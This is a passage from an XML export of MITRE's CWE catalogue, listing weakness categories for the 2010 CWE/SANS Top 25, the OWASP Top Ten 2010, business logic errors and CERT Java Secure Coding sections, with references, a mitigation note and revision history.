			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If file I/O is being supported by an application for multiple users,
							balancing the resource allotment across the group may help to prevent
							exhaustion as well as differentiate malicious activity from an
							insufficient resource pool.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider using the getrlimit() function included in the sys/resources
							library in order to determine how many files are currently allowed to be
							opened for the process.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference>
					          <Reference_Title>kernel.org man page for getrlmit()</Reference_Title>
					          <Reference_Link>http://www.kernel.org/doc/man-pages/online/pages/man2/setrlimit.2.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-08</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="801" Name="2010 Top 25 - Insecure Interaction Between Components" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Insecure
					Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming
					Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2010 CWE/SANS Top 25 Most Dangerous Programming
						Errors</Reference_Title>
					          <Reference_Date>2010-02-04</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2010-01-15</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="802" Name="2010 Top 25 - Risky Resource Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Risky Resource
					Management" section of the 2010 CWE/SANS Top 25 Programming
					Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2010 CWE/SANS Top 25 Most Dangerous Programming
						Errors</Reference_Title>
					          <Reference_Date>2010-02-04</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2010-01-15</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="803" Name="2010 Top 25 - Porous Defenses" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Porous Defenses"
					section of the 2010 CWE/SANS Top 25 Programming Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2010 CWE/SANS Top 25 Most Dangerous Programming
						Errors</Reference_Title>
					          <Reference_Date>2010-02-04</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2010-01-15</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="808" Name="2010 Top 25 - Weaknesses On the Cusp" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are not part of the general Top 25,
					but they were part of the original nominee list from which the Top 25 was
					drawn.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2010 CWE/SANS Top 25 Most Dangerous Programming
						Errors</Reference_Title>
					          <Reference_Date>2010-02-04</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2010-02-12</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="810" Name="OWASP Top Ten 2010 Category A1 - Injection" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A1 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A1-Injection</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A1-Injection</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="811" Name="OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A2 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A2-Cross-Site Scripting (XSS)</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_%28XSS%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="812" Name="OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A3 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A3-Broken Authentication and Session
						Management</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A3-Broken_Authentication_and_Session_Management</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="813" Name="OWASP Top Ten 2010 Category A4 - Insecure Direct Object References" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A4 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A4-Insecure Direct Object
						References</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="814" Name="OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A5 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A5-Cross-Site Request Forgery
						(CSRF)</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_%28CSRF%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="815" Name="OWASP Top Ten 2010 Category A6 - Security Misconfiguration" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A6 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A6-Security Misconfiguration</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A6-Security_Misconfiguration</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="816" Name="OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A7 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A7-Insecure Cryptographic Storage</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="817" Name="OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A8 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A8-Failure to Restrict URL Access</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="818" Name="OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A9 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A9-Insufficient Transport Layer
						Protection</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="819" Name="OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A10 category in
					the OWASP Top Ten 2010.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2010-A10-Unvalidated Redirects and
						Forwards</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="840" Name="Business Logic Errors" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category identify some of the underlying
					problems that commonly allow attackers to manipulate the business logic of an
					application.</Description_Summary>
				        <Extended_Description>
					          <Text>Errors in business logic can be devastating to an entire application. They
						can be difficult to find automatically, since they typically involve
						legitimate use of the application's functionality. However, many business
						logic errors can exhibit patterns that are similar to well-understood
						implementation and design weaknesses.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>438</Relationship_Target_ID>
					          <!--Behavioral Problems-->
				</Relationship>
			      </Relationships>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4624</Observed_Example_Reference>
					          <Observed_Example_Description>Bulletin board applies restrictions on number of
						images during post creation, but does not enforce this on
						editing.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>The classification of business logic flaws has been under-studied,
						although exploitation of business flaws frequently happens in real-world
						systems, and many applied vulnerability researchers investigate them. The
						greatest focus is in web applications. There is debate within the community
						about whether these problems represent particularly new concepts, or if they
						are variations of well-known principles. </Text>
					          <Text>Many business logic flaws appear to be oriented toward business processes,
						application flows, and sequences of behaviors, which are not as
						well-represented in CWE as weaknesses related to input validation, memory
						management, etc.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Business Logic Flaws and Yahoo Games</Reference_Title>
					          <Reference_Date>2006-12-08</Reference_Date>
					          <Reference_PubDate>October 2007</Reference_PubDate>
					          <Reference_Link>http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Seven Business Logic Flaws That Put Your Website At
						Risk</Reference_Title>
					          <Reference_PubDate>October 2007</Reference_PubDate>
					          <Reference_Link>http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>WhiteHat Security</Reference_Author>
					          <Reference_Title>Business Logic Flaws</Reference_Title>
					          <Reference_Link>http://www.whitehatsec.com/home/solutions/BL_auction.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>WASC</Reference_Author>
					          <Reference_Title>Abuse of Functionality</Reference_Title>
					          <Reference_Link>http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Rafal Los</Reference_Author>
					          <Reference_Author>Prajakta Jagdale</Reference_Author>
					          <Reference_Title>Defying Logic: Theory, Design, and Implementation of Complex
						Systems for Testing Application Logic</Reference_Title>
					          <Reference_PubDate>2011</Reference_PubDate>
					          <Reference_Link>http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Rafal Los</Reference_Author>
					          <Reference_Title>Real-Life Example of a 'Business Logic Defect' (Screen
						Shots!)</Reference_Title>
					          <Reference_PubDate>2011</Reference_PubDate>
					          <Reference_Link>http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Viktoria Felmetsger</Reference_Author>
					          <Reference_Author>Ludovico Cavedon</Reference_Author>
					          <Reference_Author>Christopher Kruegel</Reference_Author>
					          <Reference_Author>Giovanni Vigna</Reference_Author>
					          <Reference_Title>Toward Automated Detection of Logic Vulnerabilities in Web
						Applications</Reference_Title>
					          <Reference_Publication>USENIX Security Symposium 2010</Reference_Publication>
					          <Reference_PubDate>August 2010</Reference_PubDate>
					          <Reference_Link>http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Faisal Nabi</Reference_Author>
					          <Reference_Title>Designing a Framework Method for Secure Business Application
						Logic Integrity in e-Commerce Systems</Reference_Title>
					          <Reference_Section>pages 29 - 41</Reference_Section>
					          <Reference_Publication>International Journal of Network Security, Vol.12,
						No.1</Reference_Publication>
					          <Reference_PubDate>2011</Reference_PubDate>
					          <Reference_Link>http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Abuse of Functionality</Mapped_Node_Name>
					          <Mapped_Node_ID>42</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="845" Name="CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Input
					Validation and Data Sanitization section of the CERT Java Secure Coding
					Standard. Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>00. Input Validation and Data Sanitization
						(IDS)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/00.+Input+Validation+and+Data+Sanitization+%28IDS%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="846" Name="CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Declarations and Initialization (DCL) section of the CERT Java Secure Coding
					Standard. Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>01. Declarations and Initialization (DCL)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/01.+Declarations+and+Initialization+%28DCL%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="847" Name="CERT Java Secure Coding Section 02 - Expressions (EXP)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Expressions (EXP) section of the CERT Java Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>02. Expressions (EXP)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/02.+Expressions+%28EXP%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="848" Name="CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Numeric
					Types and Operations (NUM) section of the CERT Java Secure Coding Standard.
					Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>03. Numeric Types and Operations (NUM)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/03.+Numeric+Types+and+Operations+%28NUM%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="849" Name="CERT Java Secure Coding Section 04 - Object Orientation (OBJ)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Object
					Orientation (OBJ) section of the CERT Java Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>04. Object Orientation (OBJ)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/04.+Object+Orientation+%28OBJ%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="850" Name="CERT Java Secure Coding Section 05 - Methods (MET)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Methods
					(MET) section of the CERT Java Secure Coding Standard. Since not all rules map
					to specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>05. Methods (MET)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/05.+Methods+%28MET%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="851" Name="CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Exceptional Behavior (ERR) section of the CERT Java Secure Coding Standard.
					Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>06. Exceptional Behavior (ERR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/06.+Exceptional+Behavior+%28ERR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="852" Name="CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Visibility and Atomicity (VNA) section of the CERT Java Secure Coding Standard.
					Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>07. Visibility and Atomicity (VNA)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/07.+Visibility+and+Atomicity+%28VNA%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="853" Name="CERT Java Secure Coding Section 08 - Locking (LCK)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Locking
					(LCK) section of the CERT Java Secure Coding Standard. Since not all rules map
					to specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>08. Locking (LCK)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/08.+Locking+%28LCK%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="854" Name="CERT Java Secure Coding Section 09 - Thread APIs (THI)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Thread
					APIs (THI) section of the CERT Java Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>09. Thread APIs (THI)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/09.+Thread+APIs+%28THI%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="855" Name="CERT Java Secure Coding Section 10 - Thread Pools (TPS)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Thread
					Pools (TPS) section of the CERT Java Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>10. Thread Pools (TPS)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/10.+Thread+Pools+%28TPS%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="856" Name="CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Thread-Safety Miscellaneous (TSM) section of the CERT Java Secure Coding
					Standard. Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>11. Thread-Safety Miscellaneous (TSM)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/11.+Thread-Safety+Miscellaneous+%28TSM%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
